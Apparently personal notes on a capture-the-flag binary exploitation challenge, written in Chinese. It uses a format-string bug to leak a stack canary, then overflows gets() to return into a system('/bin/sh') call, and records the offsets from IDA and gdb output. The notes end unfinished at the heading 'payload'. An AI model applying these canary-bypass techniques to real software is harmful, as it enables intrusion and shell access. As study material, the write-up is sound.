解题思路

找到system地址,0x08048553

system('/bin/sh')

```
.text:0804854D                push    ebp
.text:0804854E                mov     ebp, esp
.text:08048550                sub     esp, 18h
.text:08048553                mov     dword ptr [esp], offset command ; "/bin/sh"
.text:0804855A                call    _system
.text:0804855F                leave
.text:08048560                retn
```

泄露canary的值，以及与printf的偏移地址

```
0000| 0xffffd46c --> 0x80485d8 (<main+119>:     lea    eax,[esp+0x14])
0004| 0xffffd470 --> 0xffffd484 ("AAAA")
0008| 0xffffd474 --> 0x0
0012| 0xffffd478 --> 0x1
```

从0xffffd470开始，偏移为5

```
gdb-peda$ x/20w 0xffffd470
0xffffd470:     0xffffd484      0x00000000      0x00000001      0x00000000
0xffffd480:     0x00000001      0x41414141      0x0804a000      0x08048652
0xffffd490:     0x00000001      0xffffd554      0xffffd55c      0xf7e2bc0b
0xffffd4a0:     0xf7faf3dc      0x08048238      0x0804860b      0xf17a0c00
0xffffd4b0:     0xf7faf000      0xf7faf000      0x00000000      0xf7e15637
```

覆盖canary的值，这个canary的值是mian函数产生的，先覆盖缓冲区开头到canary的值，然后覆盖canary到ebp的值，后面就跟着返回system返回地址

启用GS选项之后，会在函数执行一开始先往栈上保存一个数据，等函数返回时候检查这个数据，若不一致则为被覆盖，这样就跳转进入相应的处理过程，不再返回，因此shellcode也就无法被执行，这个值被称为“Security cookie”。

在xor这里下断点，0x080485ED

```
.text:080485D8                  lea     eax, [esp+40h+s]
.text:080485DC                  mov     [esp], eax      ; s
.text:080485DF                  call    _gets
.text:080485E4                  mov     eax, 0
.text:080485E9                  mov     edx, [esp+3Ch]
.text:080485ED                  xor     edx, large gs:14h
.text:080485F4                  jz      short locret_80485FB
.text:080485F6                  call    ___stack_chk_fail
```

看到canary的偏移为15，printf(%15$x')

```
gdb-peda$ x/20w 0xffffd470
0xffffd470:     0xffffd484      0x00000000      0x00000001      0x00000000
0xffffd480:     0x00000001      0x41414100      0x0804a000      0x08048652
0xffffd490:     0x00000001      0xffffd554      0xffffd55c      0xf7e2bc0b
0xffffd4a0:     0xf7faf3dc      0x08048238      0x0804860b      0xf17a0c00
0xffffd4b0:     0xf7faf000      0xf7faf000      0x00000000      0xf7e15637
```

计算第一个gets与canary的偏移

因为canary的赋值是从v5而来所以这里计算s和v5的偏移

0x2c-0x04=40

```
{
  char s; // [esp+14h] [ebp-2Ch]
  unsigned int v5; // [esp+3Ch] [ebp-4

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  gets(&s);
  printf(&s);
  gets(&s);
  return 0;
```

双击变量

```
-00000004 anonymous_0       dd ?
+00000000  s                db 4 dup(
+00000004  r                db 4 dup(
```

计算canary值的地址 p/x 0xffffd470+0x3c = 0xffffd4ac

```
ESP: 0xffffd470 --> 0xffffd484 --> 0x61616100 ('')
EIP: 0x80485ed (<main+140>:     xor    edx,DWORD PTR gs:0x14)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80485df <main+126>:        call   0x80483f0 <gets@plt>
   0x80485e4 <main+131>:        mov    eax,0x0
   0x80485e9 <main+136>:        mov    edx,DWORD PTR [esp+0x3c]
=> 0x80485ed <main+140>:        xor    edx,DWORD PTR gs:0x14
   0x80485f4 <main+147>:        je     0x80485fb <main+154>
   0x80485f6 <main+149>:        call   0x8048400 <__stack_chk_fail@plt>
   0x80485fb <main+154>:        leave
   0x80485fc <main+155>:        ret
```

EBP: 0xffffd4b8

计算canary 到 存放ebp的地址的长度

p/d 0xffffd4b8 - 0xffffd4ac =12

问题:

printf为什么会有偏移?

还有什么别的方法计算第一个gets到canary的偏移

payload